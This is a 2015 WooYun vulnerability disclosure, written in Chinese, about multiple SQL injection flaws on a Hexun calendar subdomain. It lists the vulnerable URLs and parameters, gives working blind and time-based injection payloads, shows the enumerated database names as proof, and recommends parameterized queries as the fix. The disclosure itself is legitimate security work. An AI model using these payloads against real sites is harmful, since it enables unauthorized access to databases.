当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116228

漏洞标题:和讯网某站多枚SQL注入

相关厂商:和讯网

漏洞作者: 大懒

提交时间:2015-05-26 10:18

修复时间:2015-07-10 10:22

公开时间:2015-07-10 10:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-26: 细节已通知厂商并且等待厂商处理中
2015-05-26: 厂商已经确认,细节仅向厂商公开
2015-06-05: 细节向核心白帽子及相关领域专家公开
2015-06-15: 细节向普通白帽子公开
2015-06-25: 细节向实习白帽子公开
2015-07-10: 细节向公众公开

简要描述:

和讯网某站多枚mssql注入

详细说明:

URL:http://calendar.hexun.com/client/FData/Default.aspx?keydata=1&page=1
受影响参数是 keydata
这里存在查询类盲注 %' and '%'='
还存在时间盲注 'waitfor delay '0:0:0' --
因此需要过滤单引号、百分号及关键字
其他存在问题的URL如下:
POST:http://calendar.hexun.com/client/FData/
enddate=01/01/1967&keydata=1&keyevent=%ca%e4%c8%eb%b9%d8%bc%fc%b4%ca&startdate=01/01/1967(keydata)
http://calendar.hexun.com/client/FData/default.aspx?keydata=1&page=1(keydata)
http://calendar.hexun.com/client/FEvent/(keyevent)
http://calendar.hexun.com/client/FEvent/Default.aspx(keyevent)
这里是另外的一种类型布尔盲注
http://calendar.hexun.com/client/Chart.aspx?ct=2&et=54&seq=83812
存在问题参数 ct 及 et
and 1=1
这里没有使用字符串形式的参数,可能需要过滤关键字了 and 、or、&&、=等

漏洞证明:

current user: 'webdbo'
available databases [14]:
[*] DB_ANOTHER
[*] DB_BASE
[*] DB_FORECAST
[*] DB_GOLD
[*] DB_OTHER
[*] DB_SMART
[*] DB_VALUEADD
[*] DB_VE@TURE
[*] DB_WEB
[*] distribution
[*] master
[*] model
[*] msdb
[*] tempdb

修复方案:

过滤
结构化sql查询语句,数据与指令分离

版权声明:转载请注明来源 大懒@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-05-26 10:20

厂商回复:

处理中

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-26 10:28 | 大懒 ( 普通白帽子 | Rank:239 漏洞数:45 )

    确认的好快啊,分分钟!